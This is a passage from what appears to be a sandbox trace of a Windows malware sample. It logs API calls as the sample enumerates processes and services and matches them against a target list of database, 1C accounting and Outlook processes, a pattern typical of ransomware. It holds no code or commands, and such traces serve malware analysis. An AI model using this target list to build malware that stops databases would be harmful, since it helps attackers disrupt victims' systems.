out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0242.338] lstrlenW (lpString="reader_sl.exe") returned 13 [0242.338] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0242.338] lstrlenW (lpString="dllhost.exe") returned 11 [0242.338] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0242.338] CloseHandle (hObject=0x360) returned 1 [0242.338] Sleep (dwMilliseconds=0x1f4) [0242.884] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aeb70 [0242.972] EnumServicesStatusExW (in: hSCManager=0x42aeb70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0242.972] GetLastError () returned 0xea [0242.972] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc9a) returned 0x4232878 [0242.972] EnumServicesStatusExW (in: hSCManager=0x42aeb70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4232878, cbBufSize=0xc9a, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4232878, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0242.972] CloseServiceHandle (hSCObject=0x42aeb70) returned 1 [0242.972] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0242.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0242.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0242.972] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0242.973] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0242.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0242.973] lstrlenW (lpString="AudioSrv") returned 8 [0242.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0242.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0242.973] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0242.973] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0242.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0242.973] lstrlenW (lpString="BFE") returned 3 [0242.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0242.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0242.973] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0242.973] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0242.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0242.973] lstrlenW (lpString="CryptSvc") returned 8 [0242.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0242.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0242.973] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0242.973] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0242.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0242.973] lstrlenW (lpString="CscService") returned 10 [0242.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0242.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0242.973] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0242.973] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0242.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0242.973] lstrlenW (lpString="DcomLaunch") returned 10 [0242.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0242.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0242.973] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0242.973] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0242.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0242.973] lstrlenW (lpString="Dhcp") returned 4 [0242.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0242.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0242.973] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0242.974] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0242.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0242.974] lstrlenW (lpString="Dnscache") returned 8 [0242.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0242.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0242.974] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0242.974] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0242.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0242.974] lstrlenW (lpString="DPS") returned 3 [0242.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0242.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0242.974] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0242.974] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0242.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0242.974] lstrlenW (lpString="eventlog") returned 8 [0242.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0242.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0242.974] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0242.974] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0242.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0242.974] lstrlenW (lpString="EventSystem") returned 11 [0242.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0242.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0242.974] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0242.974] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0242.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0242.974] lstrlenW (lpString="gpsvc") returned 5 [0242.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0242.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0242.974] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0242.974] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0242.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0242.974] lstrlenW (lpString="LanmanWorkstation") returned 17 [0242.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0242.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0242.974] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0242.975] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0242.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0242.975] lstrlenW (lpString="lmhosts") returned 7 [0242.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0242.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0242.975] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0242.975] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0242.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0242.975] lstrlenW (lpString="MMCSS") returned 5 [0242.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0242.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0242.975] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0242.975] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0242.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0242.975] lstrlenW (lpString="MpsSvc") returned 6 [0242.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0242.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0242.975] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0242.975] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0242.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0242.975] lstrlenW (lpString="NlaSvc") returned 6 [0242.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0242.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0242.975] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0242.975] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0242.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0242.975] lstrlenW (lpString="nsi") returned 3 [0242.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0242.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0242.975] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0242.975] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0242.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0242.975] lstrlenW (lpString="PcaSvc") returned 6 [0242.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0242.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0242.976] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0242.976] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0242.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0242.976] lstrlenW (lpString="PlugPlay") returned 8 [0242.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0242.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0242.976] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0242.976] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0242.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0242.976] lstrlenW (lpString="Power") returned 5 [0242.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0242.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0242.976] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0242.976] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0242.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0242.976] lstrlenW (lpString="ProfSvc") returned 7 [0242.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0242.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0242.976] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0242.976] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0242.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0242.976] lstrlenW (lpString="RpcEptMapper") returned 12 [0242.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0242.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0242.976] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0242.976] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0242.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0242.976] lstrlenW (lpString="RpcSs") returned 5 [0242.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0242.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0242.976] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0242.976] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0242.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0242.976] lstrlenW (lpString="SamSs") returned 5 [0242.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0242.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0242.977] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0242.977] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0242.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0242.977] lstrlenW (lpString="Schedule") returned 8 [0242.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0242.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0242.977] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0242.977] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0242.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0242.977] lstrlenW (lpString="SENS") returned 4 [0242.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0242.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0242.977] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0242.977] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0242.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0242.977] lstrlenW (lpString="ShellHWDetection") returned 16 [0242.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0242.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0242.978] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0242.978] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0242.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0242.978] lstrlenW (lpString="Spooler") returned 7 [0242.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0242.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0242.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0242.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0242.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0242.978] lstrlenW (lpString="Themes") returned 6 [0242.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0242.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0242.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0242.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0242.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0242.978] lstrlenW (lpString="UxSms") returned 5 [0242.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0242.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0242.978] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0242.978] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0242.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0242.978] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x4232878 | out: hHeap=0x530000) returned 1 [0242.978] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x324 [0242.980] Process32FirstW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.981] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0242.981] lstrlenW (lpString="System") returned 6 [0242.981] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0242.981] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0242.981] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0242.981] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0242.981] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0242.981] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0242.981] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0242.981] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0242.982] lstrlenW (lpString="smss.exe") returned 8 [0242.982] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0242.982] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0242.982] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0242.982] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0242.982] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0242.982] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0242.982] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0242.982] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.982] lstrlenW (lpString="csrss.exe") returned 9 [0242.982] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0242.982] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0242.982] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0242.982] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0242.982] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0242.982] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0242.982] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0242.982] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0242.983] lstrlenW (lpString="wininit.exe") returned 11 [0242.983] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0242.983] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0242.983] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0242.983] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0242.983] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0242.983] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0242.983] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0242.983] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.983] lstrlenW (lpString="csrss.exe") returned 9 [0242.983] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0242.983] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0242.984] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0242.984] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0242.984] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0242.984] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0242.984] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0242.984] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0242.984] lstrlenW (lpString="winlogon.exe") returned 12 [0242.984] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0242.984] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0242.984] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0242.984] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0242.984] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0242.984] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0242.984] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0242.984] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0242.985] lstrlenW (lpString="services.exe") returned 12 [0242.985] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0242.985] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0242.985] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0242.985] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0242.985] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0242.985] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0242.985] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0242.985] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0242.985] lstrlenW (lpString="lsass.exe") returned 9 [0242.985] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0242.985] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0242.985] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0242.985] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0242.985] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0242.985] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0242.985] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0242.985] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0242.986] lstrlenW (lpString="lsm.exe") returned 7 [0242.986] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0242.986] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0242.986] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0242.986] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0242.986] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0242.986] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0242.986] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0242.986] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.986] lstrlenW (lpString="svchost.exe") returned 11 [0242.986] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0242.986] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0242.986] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0242.986] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0242.987] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0242.987] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0242.987] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0242.987] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, 